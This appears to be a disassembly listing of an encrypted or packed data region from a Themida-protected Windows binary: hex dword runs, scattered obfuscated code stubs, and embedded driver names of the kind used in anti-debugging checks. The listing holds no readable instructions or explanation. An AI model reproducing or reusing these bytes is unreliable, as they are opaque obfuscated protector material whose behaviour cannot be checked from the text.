		dd 31D2B0D8h, 7DEC0CE7h, 0F471FFA1h, 0E25B227Fh, 0D52E4BA5h
		dd 0AC3412C6h, 17C9EA39h, 0CC49C4C1h, 0CC5765BDh, 31F35A26h
		dd 580FD8Bh, 0C50E6986h, 0D1777FCBh, 69FF3C79h,	0F97A8268h
		dd 0ECED77C6h, 78F97A82h, 0E15C01A9h, 1AA0A64h,	6FAF0000h
		dd 6903004Eh, 0FA82D607h, 8E0D7006h, 1B6DAA13h,	6FA82DAh
		dd 0F58C0974h, 82AD29BFh, 453806FAh, 4BD8BF22h,	0D0BF2C32h
		dd 9FDAA652h, 0E3794926h, 75F07C1Eh, 4BDA45F6h,	42A6D5A3h
		dd 6FA8293h, 52D34E2Dh,	6FA3C63Fh, 638BEA50h, 7FDBC504h
		dd 64D4D3F7h, 7D000000h, 0AA4ED0BFh, 0F6865C29h, 7FFA862Eh
		dd 0EA7EBB00h, 6FA82EBh, 31A0C845h, 8F06FA82h, 0DDB431ACh
		dd 82AD29BFh, 0ACE906FAh, 0FA829544h, 0CB483306h, 0BFD4AF8Eh
		dd 2BA850D0h, 0D0BF8B8Eh, 82DAA652h, 74F24240h,	0C5A423FFh
		dd 8CE99739h, 0FEAA7817h, 0E9E800BDh, 4706FAC8h, 8C187FF4h
		dd 38D2F5h, 6FB70000h, 0BF8EE953h, 0FA82AD29h, 0BD583806h
		dd 0A879450Ch, 0BFC8AB26h, 0C502BFD8h, 0FA8232A3h, 27B18C06h
		dd 6FA82B6h, 0D9A82D10h, 8CC49F49h, 76EAD12Fh, 33BC949Ah
		dd 0D0BFDFB2h, 0A3DEAA4Eh, 7FEDEF22h, 5882D3F7h, 27000000h
		dd 0BCD4506Fh, 6FA823Dh, 0AB64C9Bh, 4DAB108Fh, 853BBF89h
		dd 77992268h, 6FAB186h,	81D85D20h, 0A3C502BFh, 6FA8232h
		dd 1BC55D8Ch, 1095106Dh, 0FA824C88h, 0F093EA06h, 926DD8BFh
		dd 43C04FECh, 178CE997h, 202F8C70h, 0A7BA3BDFh,	4DD2h
		dd 1FE26D00h, 6F63067Fh, 0BF8BEA50h, 0FA82AD29h, 0F1583806h
		dd 5AF39158h, 0A08B4A9Eh, 562506FAh, 0BF055CDBh, 0F821BFD8h
		dd 0EBB08842h, 3EBD5FA3h, 5959AAC5h, 1AA31EC8h,	214FF50Fh
		dd 8CA8CF44h, 5F9EF22Fh, 0F906FA82h, 711BEB82h,	38D29DF4h
		dd 0B7FFFFFEh, 50ED4F6Fh, 0E7314F38h, 0C65EC90Ch, 0DB74F1Eh
		dd 0D481027Fh, 74B4D469h, 7C2B0E5Ah, 4430DC2Ah,	8C29AA29h
		dd 3DDA849Dh
		dd 14A911D0h, 2957F905h, 66AD74Ch, 0EF85D7h, 167E0A71h
		dd 0EF85E5h, 368AE0A9h,	0D6E280B6h, 36A7C906h, 9000EE7Dh
		dd 7D7C7D93h, 63DA00EEh, 460F6FE4h, 0AA000000h,	0FA826194h
		dd 6E2CF506h, 0E984F094h, 90F08D6Ah, 3F47AEAFh,	560200FCh
		dd 2F65ADBh, 4406FA01h,	1F0E107h, 0EF4E06FAh, 63C51976h
		dd 9AB6DAh, 0C1BC0CE8h,	0DB7620h, 5EC90000h, 0B54920C4h
		dd 8B086513h, 2321BFF4h, 0A12CCDE6h, 4937D925h,	47DEB12Ch
		dd 1F94D19Fh, 0B3086C72h, 0E8E31276h, 4B9D06FAh, 6FAE88Ah
		dd 39045924h, 0F5E97FBCh, 210CE8CEh, 44A4E15Ah,	6CB4ACADh
		dd 0F74654C4h, 0D5798AE5h, 3E49CAA7h, 4BA643E3h, 336814B6h
		dd 0BD36DA24h, 11AA0ED0h, 2D5BFB06h, 266D350h, 0AF50CDDh
		dd 88972417h, 0CAA7D575h, 0A07DEC49h, 738EE1FEh, 9AF6A5D3h
		dd 0A1CEDC34h, 0AAC73CD5h, 0E50BB014h, 0C0D25Eh, 0C958E558h
		dd 86E39137h, 60A1B00Dh, 2FF659B6h, 0E2D55C87h,	0CCB86ACCh
		dd 0E3AE2h, 0D17F8500h,	0A046D930h, 6E1AE847h, 40E43E91h
		dd 0FBB48A7h, 0C0774BF2h, 177A9743h, 278A670Dh,	70DF38DAh
		dd 0B7E809B1h, 0E16796FAh, 25C100EFh, 0EA946DBCh, 4CF60F9Eh
		dd 0F8A060EFh, 874F18Ch, 6573DF48h, 976F2BFAh, 67026EEDh
		dd 0D88283EEh, 0B5020563h, 0ABAA0C82h, 0D6D6D12Ah, 0BBD0F774h
		dd 3Dh,	0ED4F6F5Eh, 9442C150h, 0FA65A21Fh, 9A0E8727h, 0CE8A456h
		dd 2CADC300h, 8A00E8ACh, 166532B3h, 7822E36Ah, 49F1309Fh
		dd 0B70ED03Bh, 436969D7h, 0D865E0BAh, 0FA9B5CB0h, 0E6037A0Ah
		dd 0EC926D83h, 0A263BC13h, 0CC14E06Ah, 0B2234560h, 0C06FAA7h
		dd 4937B231h, 0FAA64739h, 3EE03D06h, 0E724CA1h,	14FA5BADh
		dd 0E9540CE7h, 933DC554h, 0CBC51376h, 79D1777Fh, 0F56E16EEh
		dd 15695h, 4E6F3C00h, 2BF95ECh,	8232A3C5h, 0B18C06FAh
		dd 8228AC34h, 52BF06FAh, 0D1B02FCFh, 324BD8BFh,	0F2986BF6h
		dd 176AEB86h, 0EFEE02BFh, 4906FA82h, 0CE1471F2h, 0A3C60362h
		dd 8BEA506Fh, 0DBC50463h, 0D4D3F77Fh, 34h, 0E9536F7Dh
		dd 1702BF8Eh, 65EB680Ah, 6FA8271h, 4AD566D5h, 0B6612BAh
		dd 7DF6A260h, 0E602BF1Ah, 0E87F10C7h, 7910956Ah, 88EB956Dh
		dd 20D2F58Ch, 0B7000000h, 8EE9536Fh, 82AD29BFh,	453806FAh
		dd 6DD8BF22h, 0C752EB95h, 2CF6993Bh, 481FC88h, 0C5F58C6Dh
		dd 0D3F77FDBh, 4ED4h, 506F7D00h, 21BF8BEAh, 1DDB53h, 8C4DA33Ch
		dd 2A06FAC7h, 0E25FD453h, 0AC694BA5h, 0DB9E190Bh, 26B66109h
		dd 0EA6B60BCh, 0FA257266h, 0E69D406h, 0AA4ED0BFh, 0C04F8C29h
		dd 41189D3Dh, 95EC926Dh, 66D2F58Ch, 6D000000h, 0B7925E2h
		dd 0BF92F56Eh, 5377A121h, 8CC73C3Dh, 33E8245Ah,	0B2711897h
		dd 0DDE28F04h, 21BF1E79h, 598A78FAh, 328F0438h,	0F5996AF5h
		dd 0E769EA87h, 6FA7FF3h, 660C1762h, 81E05F1Ah, 926DD8BFh
		dd 81314FECh, 117F33FBh, 98FFFE12h, 0E25906FAh,	0BF8BEE67h
		dd 838FF121h, 8B7FC0B5h, 82B0288Ch, 34B431FFh, 0FE9CD22Dh
		dd 6FB7FFFFh, 3850ED4Fh, 0CE7314Fh, 3C65EC9h, 0CEFBD349h
		dd 70FC7B4Eh, 582370F5h, 4AC74E3h, 3B78FD78h, 8430D52Ch
		dd 0E2E03E54h, 8AE7007Fh, 39E32337h, 111601BAh,	0D95A1765h
		dd 69C5345Ch, 186300EFh, 69D7046Ch, 6A700EFh, 6936A7C9h
		dd 0AD9000EFh, 0BF137F28h, 0D6E26C4Dh, 3B2561FFh, 427495DFh
		dd 21A9C1h, 0BF480000h,	82EFEE02h, 0EF4906FAh, 553F1175h
		dd 0E87029Eh, 0FAAB5F9Ah, 903ACB06h, 0CCA777h, 0BF220000h
		dd 0DAA652D0h, 7549269Fh, 8246AA13h, 240CE88Dh,	46C56BB5h
		dd 0F7976AF5h, 0A04ADB46h, 0C31C99D4h, 83F1916Ch, 84759BD8h
		dd 2200E8B7h, 4DED305Bh, 0A4C1423Fh, 0E305B61Ah, 0AF505F8h
		dd 397F8792h, 0B5C33EE8h, 0ECED03B8h, 4A0ADD05h, 562572F3h
		dd 7A77AE5h, 0C57A87EAh, 0BD7F6FC5h, 91DF5AC6h,	0FB40A43Ah
		dd 0C005CE95h, 85EB2800h, 14C61A54h, 0F99B67F2h, 0E15CF97Ah
		dd 8A34CD5Ch, 2ADF2631h, 0C1EA7748h, 93E15C15h,	2DBC5DD6h
		dd 70FB2AD4h, 236ACC97h, 0AE11927h, 0D82C0000h,	9F60CF28h
		dd 73B31EFBh, 3DC128C9h, 14137E9Bh, 0D0F28966h,	11EE9C6Bh
		dd 21BE66BEh, 769333CEh, 87600A1Bh, 0ECF211Eh, 0A800EFE5h
		dd 946D578Ah, 0F60F9EEAh, 5EB2EF4Ch, 6FA829Fh, 0BBC14239h
		dd 5B29D552h, 0E08C30F2h, 223A1051h, 7DAD8582h,	601DFAA4h
		dd 0FE8A2CF1h, 0DDCF0283h, 0B2D0F787h, 4Dh, 0ED4F6F57h
		dd 70443850h, 2B120CE8h, 0D97B8792h, 2755CEABh,	701EE574h
		dd 9DEC6904h, 3DDA84h, 4527ADE0h, 6DE66639h, 57460302h
		dd 0B80EEF58h, 0CB402CABh, 16A47DF3h, 6DE8670Fh, 0CE2CB8D0h
		dd 0AE8A0AFAh, 3FAC0802h, 825FDA1Bh, 0EC926D27h, 836D4513h
		dd 61B06FAh, 98268B64h,	2B618734h, 630CE731h, 6DB4A318h
		dd 6C84B7C5h, 0EFD06Dh,	70F570CBh, 0CECE54C3h, 0A9129135h
		dd 0D0D5046Ch, 367300EFh, 0EFD023D2h, 43BEBD00h, 0B431D928h
		dd 0CBC5FC5Bh, 0A4D1777Fh, 158h, 65567997h, 276B781Eh
		dd 4E6FCBAEh, 0F84248F1h, 70EF7050h, 0AD29BF11h, 3806FA82h
		dd 0D8BF2245h, 6F2C324Bh, 0C554E953h, 7B1E9739h, 506FA3C6h
		dd 823DBCD4h, 0A09B06FAh, 4634225h, 0F77FDBC5h,	4FD4D3h
		dd 0B8A70000h, 935BC565h, 7D682D67h, 0BFF99015h, 82EFEE02h
		dd 0F24906FAh, 63E08A9Bh, 3150BC06h, 82AD29BFh,	320906FAh
		dd 0BFD8BF53h, 3E8C8621h, 81E8164Dh, 0CFAAD680h, 41EB3B56h
		dd 202F8C26h, 2E4B39E1h, 6E1AC85Fh, 0D2FF9213h,	1Dh, 4FD0BFB7h
		dd 23A0DDABh, 71107C46h, 82AD29BFh, 453806FAh, 6DD8BF22h
		dd 8C88EB95h, 7FDBC5F5h, 1E09D3F7h, 59146004h, 6282DCh
		dd 0BF270000h, 55ADAB21h, 0FF745AD7h, 8EE94D92h, 0EFEE02BFh
		dd 0A906FA82h, 0FA829647h, 104D3006h, 0E50BA82Dh, 6FA82F1h
		dd 3B55E655h, 0D0839601h, 61F87DD7h, 5DE602BFh,	13F154Eh
		dd 0BF1077ECh, 2CA951D0h, 9F1CC25Dh, 0DD2470B0h, 0AF2A4735h
		dd 2F8C5336h, 825F9EF2h, 82F906FAh, 28D26E01h, 0B7000000h
		dd 8BEA506Fh, 82AD29BFh, 583806FAh, 6B1ACBh, 471E9D2Fh
		dd 926DD8BFh, 31580000h, 0ABCA49EFh, 0A850D0BFh, 0BFA4BD2Bh
		dd 0DAA652D0h, 9FF4269Fh, 9DFFFFFEh, 50ED4F6Fh,	0E7314F38h
		dd 0E952290Ch, 1313A77Eh, 55D07E85h, 32CF4A27h,	219A04DDh
		dd 8DE7F3C7h, 224DF4B0h, 7AC73CE0h, 0EFFDE716h,	41FA4100h
		dd 0B74951D6h, 8B066311h, 0C7820E0h, 0F888F471h, 0EFFDFBh
		dd 0FDCE2A83h, 337485BDh, 77D39411h, 0E2FBA123h, 1ACED6h
		dd 946B0000h, 6FA8261h,	65822CF5h, 0B8B5h, 27498600h, 6FA82B6h
		dd 0D1A82D10h, 50ED4F6Fh, 0E89FFC38h, 0A7DE3A0Ch, 9A454F0Ch
		dd 592471F2h, 0EAA875E4h, 8A03711Dh, 3158D777h,	3C3947F1h
		dd 34C920C1h, 5965E692h, 552246F7h, 2F0AF590h, 9D60EF4Ch
		dd 0F05F1CFDh, 7D0C8931h, 0BDFEA0h, 0DD71E9E8h,	7FF4470Ah
		dd 0DC409E0Dh, 0BB62095Fh, 4F8C00C0h, 0C7BCB839h, 0AE271614h
		dd 26318AF1h, 0A5DA37DFh, 0B3C16DBAh, 0D3523DB6h, 3B85F82Bh
		dd 3C286ACDh, 79612h, 7523E100h, 44EA3594h, 12BE44ABh
		dd 0E4889AF5h, 0B35FA40Bh, 3C1B2F56h, 73DE3BE7h, 83EE0BB1h
		dd 0AC03DC7Eh, 0CB4CAD55h, 0E8C33256h, 411D00EFh, 0EA946D18h
		dd 4CF60F9Eh, 0FA9E60EFh, 2053F379h
		dd 5EA4EE31h, 2CABC6B2h, 0E7A02540h, 0DC869F8Bh, 8B840403h
		dd 48E5D0F7h, 8C000000h, 50ED4F6Fh, 0C1BE3130h,	0D86FBE9h
		dd 53FC58B0h, 7DBA0CE8h, 0E870EAEBh, 0A8E44400h, 0CCAE4A19h
		dd 855CE4Dh, 0BA3F4735h, 0CA00E811h, 0DBD5AD85h, 69D6E518h
		dd 48125FEh, 3D6Ah, 0EBBD500h, 0EECA6CAh, 6F471A9Bh, 3050ED4Fh
		dd 71E1E051h, 18A51E7Dh, 0E81A74F0h, 0FD8BF20Ch, 0CED956Ch
		dd 0CEBA64BDh, 9E1F815Dh, 0FA36CE4Ah, 0E0E8080Ah, 10266247h
		dd 281340C5h, 0AD7A68CFh, 0CA5AC502h, 8243B222h, 9E9D06FAh
		dd 12764825h, 80DB47A9h, 0A09B0CE8h, 0C65EBAC7h, 9AD56829h
		dd 3F9D0380h, 27C156AEh, 4B883597h, 259E42DCh, 61954FB3h
		dd 0C8B487CAh, 58DB7593h, 0ACB7FF95h, 0CC845A37h, 82FF8D35h
		dd 59ABB607h, 2BA8C5B3h, 0D6297A8Eh, 0B883C073h, 650D1403h
		dd 32DC2584h, 3D7984E3h, 6D3B372Bh, 653h, 59B666A2h, 68892DF6h
		dd 0BA570101h, 0C829CB57h, 1BF4A261h, 2AF95E60h, 0F40C637Ch
		dd 0C15CB34Ch, 9869C021h, 938811EEh, 0EFE97C7Dh, 0A53CDA00h
		dd 9EEA946Dh, 0F04DF70Fh, 829C5DB3h, 433A06FAh,	0FAC429C2h
		dd 0F4C32596h, 0AE0CE731h, 0CDBB61A3h, 176633B0h, 0C06ABBA6h
		dd 52D03943h, 50CE7FA6h, 0C5815EA5h, 5EAFBh, 21CF5500h
		dd 0F09669C0h, 0BE6AB817h, 9034CE21h, 5F0B1877h, 90C7FB82h
		dd 0A70AE793h, 0F75AB75Dh, 6F882Ah, 67B85901h, 0EE17C62Ah
		dd 95B100EFh, 0ED4F6F4Ch, 30B33850h, 3E3D0CE7h,	4D4BDB32h
		dd 4610FB1h, 2E539494h,	0ED68D5CDh, 0A598293Ah,	0B680CC5Eh
		dd 593h, 997626E2h, 0A849ED36h,	0FA17C141h, 8E98B97h, 5BB462A1h
		dd 0EA391E20h, 0B44CA33Ch, 819CF30Ch, 58A900E1h, 53C851AEh
		dd 0EFEEBC3Dh, 0E57C1A00h, 50ED4F6Fh, 0E730B738h, 2B87E10Ch
		dd 0E8FAC58Eh, 0A712EA7h, 5317EF7Eh, 0EFF0BC3Dh, 0A4231A00h
		dd 0A56FD87Dh, 0C1EF9B5Eh, 537h, 35D28286h, 44A549DAh
		dd 96731DE5h, 0A445E73Bh, 0F710BE45h, 46DD7A4Ch, 10107F98h
		dd 0DD208F68h, 0B44DDC3Dh, 0F7B4ED0Ah, 0EFEE6091h, 0B920FE00h
		dd 0EFEE02BFh, 4906FA82h, 0E08A9BF2h, 55FD0463h, 5B5FA627h
		dd 0DAA625C7h, 0D4543E4Bh, 0E544A54Dh, 7E06721Ch, 6FA827Ah
		dd 2EDAB0F7h, 0ADD22FD7h, 6D8361A2h, 6FA826Ch, 7FF473CAh
		dd 31571110h, 6FA82C0h,	8B31F31Eh, 860580FDh, 0F59293FAh
		dd 0AF137B71h, 0E15CAAh, 0CB113ABh, 2E5A041Dh, 3BF98B4Eh
		dd 0BF3A7B8Dh, 34B151ACh, 46DF4A87h, 75B1279Ch,	710CE8C4h
		dd 0E3167E0Ah, 9300E8CDh, 0BC2C84EEh, 0CDD6E5C8h, 3Dh
		dd 0ED4F6F74h, 0A5A43850h, 67F20CE8h, 0C78F79Dh, 0E8AF7164h
		dd 9F1DE500h, 0D792DE84h, 63BD2C58h, 0C166CFBDh, 0A9DE5569h
		dd 0A6FFE9C1h, 290D6E5h, 0EB000001h, 0A1971F8Dh, 950EED61h
		dd 0EA946DF2h, 0AF72DD9Eh, 8F04610Fh, 0C67723E0h, 0A122C85Bh
		dd 71B1A0DBh, 47BCB9C7h, 8C31D928h, 82B8394Fh, 3AD506FAh
		dd 763AFAD9h, 4CC9B4E9h, 0AE58A920h, 0F1FFF30Dh, 3C066B1h
		dd 0C5A756BAh, 3A0106FAh, 0FD1B20B9h, 45B07910h, 0FD63E0E8h
		dd 6FA53BBh, 8D2ED829h,	5637AE73h, 7FF43859h, 48F2339Eh
		dd 12107F3Ch, 3E80ED66h, 9041A7E4h, 2E06FA83h, 8314C54Fh
		dd 0CBB206FAh, 5999EF4Ch, 0F50CE891h, 90F83586h, 0E8B161h
		dd 0E6077CFFh, 6AD33589h, 0F5218206h, 0E459240Ah, 0E700AE75h
		dd 4CF7B88h, 64B6E157h,	90E0CEBAh, 0FF000003h, 339E7B29h
		dd 42AD4AF0h, 90FF18C4h, 0A20DEA8Eh, 2558B965h,	41ED3A21h
		dd 11B749A0h, 0E28499F0h, 0B35BAA05h, 3850CD56h, 0EFECB9h
		dd 6DE67B17h, 0A00FE896h, 1504B961h, 5D18640Ah,	3D7A07D8h
		dd 0FA822AABh, 3CB98406h, 0ED4F6F25h, 983EC150h, 964A9E1Bh
		dd 800CE8A5h, 6C8CCFBDh, 2BF35C43h, 0C54BC8BEh,	0E8C110h
		dd 7F533F60h, 0D6E5C88Dh, 0ADE2h, 2BF8700h, 0FA82EFEEh
		dd 71F24906h, 19670F16h, 97F973B0h, 6FA8266h, 0EA8C91C0h
		dd 0E964E39Eh, 7E4DCB9Bh, 0CE5706FAh, 9D64CB24h, 0BA0487F5h
		dd 87D10068h, 0E06F06FAh, 7EFD7820h, 952BAB3Dh,	0B8830CE8h
		dd 88ECF25Fh, 11AADD33h, 0B18C0AF5h, 2FB1CF0Ch,	1730C152h
		dd 3B49EF31h, 2742C33Eh, 9C48DEE0h, 9A69C021h, 0DA8C25ECh
		dd 0A3AF64B6h, 2A695h, 65131100h, 34DA2584h, 2AE74DBh
		dd 0D4788AE5h, 0A34FD43Bh, 2C0B3F46h, 63CE2BD7h, 0B31EFBA1h
		dd 0DC33CC6Eh, 0DB7C9D45h, 0EDD30266h, 516D00EFh, 0E8966D08h
		dd 0B961A00Fh, 946DF958h, 0F60F9EEAh, 0CFBD5DA0h, 75DA37B2h
		dd 52B60769h, 0CE892C6h, 0F160DDA0h, 83FE8A2Ch,	0EFEA7A02h
		dd 9F00E8B2h, 0B82880EAh, 0D1D6E5B7h, 3Dh, 0ED4F6F70h
		dd 83643850h, 0B6D20CE8h, 97E8F056h, 94C1428Bh,	10807197h
		dd 0B3DE00E8h, 0D04FCA70h, 1019DCA4h, 206900E8h, 1976764Ah
		dd 0AAC6D6E5h, 0F1FA2438h, 77178CFEh, 20h, 82609412h, 0E8F606FAh
		dd 0BDFA3784h, 0FA82AA2Bh, 48EC3606h, 25AB2813h, 0CE877D5h
		dd 0CA2DCAB1h, 50ED4F6Fh, 0D887530h, 2EA76B0Ah,	0F1175491h
		dd 6FAF200h, 0F3AB2ABEh, 360506FAh, 0B9D1665h, 0CE80257h
		dd 0E070FC7Fh, 0E813F5h, 0EBC82885h, 0FED38B41h, 0D8B2F370h
		dd 0E5440080h, 2369D6h,	94080000h, 6FA8261h, 9869E7F7h
		dd 68E782EEh, 775DBDD3h, 7C390CE8h, 0E89EE514h,	0AAC7100h
		dd 926FEA51h, 0ED4F6F37h, 30AF3850h, 7EE90CE7h,	2BBDFEA6h
		dd 0EFD0AAh, 9FBC3904h,	0F1301F9Ch, 0C041A849h,	69BAA516h
		dd 0AF3C40C5h, 0D310AD0Fh, 6814BC44h, 0D05A9B0Dh, 89F400EFh
		dd 0E359AF0Ch, 4B0AF263h, 269F43DCh, 0AEB90279h, 2D52AF57h
		dd 727CF1D3h, 0C19709B5h, 0DB83829Bh, 0D055D0ADh, 34DB70B1h
		dd 80D4CC7Dh, 0C4AA2BBDh, 39040AD0h, 0DA313FBAh, 0F51BA004h
		dd 0C2C1FDh, 7833E259h,	0BB6ACC51h, 0F5E1CFh, 0C4400000h
		dd 8B94FB14h, 5FA70AE7h, 29F554B5h, 76A87h, 0BC8EB552h
		dd 3DDA889Fh, 4DAA52D2h, 627F1FE2h, 0B34CF60Fh,	22D3356Ah
		dd 0BC00EFF3h, 4F6F7B9Eh, 0C63850EDh, 900CE731h, 20110ADh
		dd 0C84D2854h, 0CDC25A4h, 0EFD3F5E4h, 6DE85300h, 17C141D0h
		dd 0A07D0C69h, 7EF772FEh, 0A7F3329Dh, 0AFCAB65Ch, 8174430h
		dd 4B2652F6h, 4E8F46CAh, 6ABB5EF2h, 0CD55B4C0h,	992ED93Eh
		dd 0D752AEA5h, 0D4BEE9A9h, 0F258E9B8h, 5AABEF36h, 9F1AC65Ch
		dd 0F81994D1h, 0CFFB9091h, 0DF2F71A4h, 286E8BC1h, 0CA211FB0h
		dd 1E7A214Fh, 27FBE368h, 0E27AF785h, 960F5360h,	0F78527FBh
		dd 0BD9BF738h, 73CDC123h, 0E08B79EEh, 69F87D1Dh, 0BE11EE98h
		dd 26D45367h, 1078025Ah, 8070E50Ah, 0F09C6A05h,	0B3A8C875h
		dd 0D9187061h, 775ED3AAh, 93CC9404h, 0A472FA7Bh, 3, 6DF9982Dh
		dd 329BE997h, 0AC3D4BF3h, 4AC3B151h, 0E76612BAh, 87067220h
		dd 27A6D280h, 0C24B39DBh, 7DEC9844h, 2D70FCA2h,	81E38953h
		dd 4C3h, 4B95100h, 29000000h, 1C8759CBh, 89575C24h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 241C895Ch, 81E78957h, 4C7h
		dd 4EF8100h, 87000000h,	895C243Ch, 0E3BB2404h, 552DEE63h
		dd 0F06F3BBDh, 7EDC118h, 0C102EDC1h, 0C58102EDh, 52430207h
		dd 815DEB21h, 0CF33A4C3h, 4EC8105h, 89000000h, 4832424h
		dd 52580424h, 8B951h, 0CA890000h, 89C20159h, 48B5A1Ah
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 241C8B5Ch
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FD0D7FE9h, 562B9CFFh
		dd 157247B8h, 0FFC50306h, 354B2AE0h, 0FF0D7A01h, 1992F500h
		dd 28AA527Fh, 0B09E650h, 2D183371h, 4215E722h, 0E50A841Fh
		dd 0DF793C50h, 0FE837h,	5AFF0000h, 0BF28ACE4h, 0EA6F8B00h
		dd 0BBF590Dh, 44B866BFh, 0B70F5E8Fh, 76C681F8h,	0F00006Eh
		dd 289h, 0B9C38B00h, 0
		dd 34FFA7B0h, 8A0F5331h, 3, 5FF9BF0Fh, 18CF815Ah, 8130FB43h
		dd 6BA536C2h, 0F4A5B87Bh, 0F2815EE2h, 4BB8893h,	305EF781h
		dd 0EA813A28h, 6CD4CBD9h, 148926B4h, 4EE3810Eh,	0E95B4FD0h
		dd 0Eh,	0C0C9CB43h, 15E4896Fh, 26AF6FB6h, 0E983E0F9h, 0E949F503h
		dd 11h,	7CA6533h, 0CF4C7EAAh, 0BC53F20Eh, 0EBCA7127h, 4CF981C3h
		dd 0FFFFF92h, 0FFFF8985h, 0BE8FFh, 62DF0000h, 99169F1h
		dd 499ADA14h, 0DE900h, 9CAC0000h, 6DB2103Ah, 92EC3516h
		dd 5F8A3AFEh, 6E8h, 0B47A0300h,	0FA14D33h, 389h, 0FFBF0F00h
		dd 7E958h, 49080000h, 0C2E751A6h, 68C081C4h, 0F00005Eh
		dd 79B9D7B7h, 0E8000017h, 5, 8F324078h,	188B5A7Fh, 52EF8166h
		dd 16EB8111h, 810436B3h, 1AB104CEh, 9EF38135h, 8164BC25h
		dd 0D62BD6C6h, 0B3F3816Fh, 897E6CE0h, 0DE818h, 7D090000h
		dd 1F7C13A1h, 79998432h, 8BDCDE70h, 0E8835EF3h,	3FDE8001h
		dd 66484848h, 2004F781h, 0F01E983h, 0FFFFAD85h,	4934EBFFh
		dd 474D5346h, 56202052h, 2020444Bh, 56202020h, 20204D4Dh
		dd 56202020h, 334E4957h, 56202032h, 444C4458h, 202052h
		dd 2 dup(0)
		dd 0E9000000h, 841h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 22C35040h, 0C8B70C3Fh, 6A60A4DEh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 2564C353h, 0A8FDDC4Ch, 0F560FAF8h, 8E8h, 261FD000h
		dd 35171AE9h, 58A6B6B3h, 0A685C761h, 61574h, 60000000h
		dd 81F08B66h, 0BF33CE0h, 0C68B6163h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 7BC35141h, 11E96Ah,	45470000h
		dd 0ACADB1D9h, 0F0ACCC43h, 9072C27Dh, 0E900FC6Dh, 10h
		dd 95CCBAAAh, 0B0D197BFh, 16921481h, 1D4AB1CCh,	0FD8B70Fh
		dd 0F81h, 0AE900h, 2E410000h, 0D8CA2C5Fh, 772A7F61h, 6A10E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 34C350h, 0D9E49D36h, 0C166F572h, 0E96008C8h
		dd 9, 7FA0E556h, 6156E8D3h, 0C981664Dh,	89616ED7h, 1574AA85h
		dd 0CE906h, 1A8F0000h, 3495DB3Dh, 2D523235h, 5360B15Dh
		dd 870Fh, 81580000h, 0E4A4D0E2h, 0C166616Ah, 83F908CBh
		dd 850F40FBh, 79h, 9038BF60h, 0F610A9Ah, 98Ah, 0F78B6000h
		dd 0D197C8B9h
		db 37h
byte_57FCE9	db 61h,	8Dh, 0BDh	; DATA XREF: Themida_:00565D24o
		dd 615747Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0BDC35040h, 13E9FCh, 0A12D0000h, 46414A3h, 0E81427A9h
		dd 4FCE1C81h, 0B5419A22h, 222E98Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 79B958C3h
		dd 0A4920250h, 0DFB830Dh, 58850Fh, 8DF80000h, 157486BDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 94F54CECh, 21745830h, 13E9h, 0F9538500h
		dd 0E851A10Bh, 6FEE2B14h, 0E9653017h, 192DD69Fh, 1AFE9h
		dd 0CE900h, 0B0030000h,	6023DB03h, 65E11C62h, 0FB83EBC0h
		dd 96850F01h, 0F000000h, 1180h,	0CE900h, 83D90000h, 0C2EF7C03h
		dd 404F3C7Ch, 0FC608C63h, 8EBD8D61h, 6A061574h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1F0BC352h, 820F2C8Bh, 0Bh, 0AED38060h, 870Fh, 0E9610000h
		dd 140h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	55C35343h, 213FEDBAh, 983C57F3h, 15860F7Bh, 0F000000h
		dd 0F8Ch, 0AE900h, 803B0000h, 18A06806h, 0A29CB46Dh, 2AFB83F8h
		dd 9F850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0A7ABDDC3h, 54DF48E7h, 870F56BBh
		dd 12h,	0C800Fh, 7E90000h, 8000000h, 6F312A69h,	0BD8DAD30h
		dd 6157496h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	37C35040h, 44A154DDh, 8EE9FCh, 6A0000h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F52CCC3h, 786h, 18C0F00h, 0FC000000h, 78E0Fh, 880F0000h
		dd 1, 27FB83F9h, 38D850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F0177C3h
		dd 0A83h, 890F6000h, 0
		dd 8D615957h, 15749EBDh, 0E8F96006h, 10h, 11ABD7DAh, 87E86AA9h
		dd 0DC8D5C46h, 3AA4112Ch, 6159C68Bh, 74AEBD89h,	6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 762924C3h, 6AC2C5ECh, 0FE860B3h, 0A4000000h,	925FF4B5h
		dd 0A913BC3Fh, 114A9D54h, 11B9B33Ah, 5B4E538Ah,	61DE8B66h
		dd 6AC88C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 79A3C353h, 799DBD0Ah, 60035A3Ch
		dd 0FF22B866h, 0AF2F42B9h, 24FC6105h, 81666003h, 0F9FA69D8h
		dd 0FC00A61h, 1CB85h, 12E900h, 18940000h, 0D6D36D31h, 5FA69FB9h
		dd 24A71294h, 0C2E97E91h, 12E9h, 0CBA7FF00h, 20220DFDh
		dd 0F78B580h, 4D8AB014h, 8D988612h, 157C2EB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 9E573523h, 0E91AE002h, 10h, 8E74BFBCh, 0C95716BFh, 315E7D54h
		dd 0B47C7AFBh
		db 8Bh,	85h
word_580046	dw 7C9Bh		; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
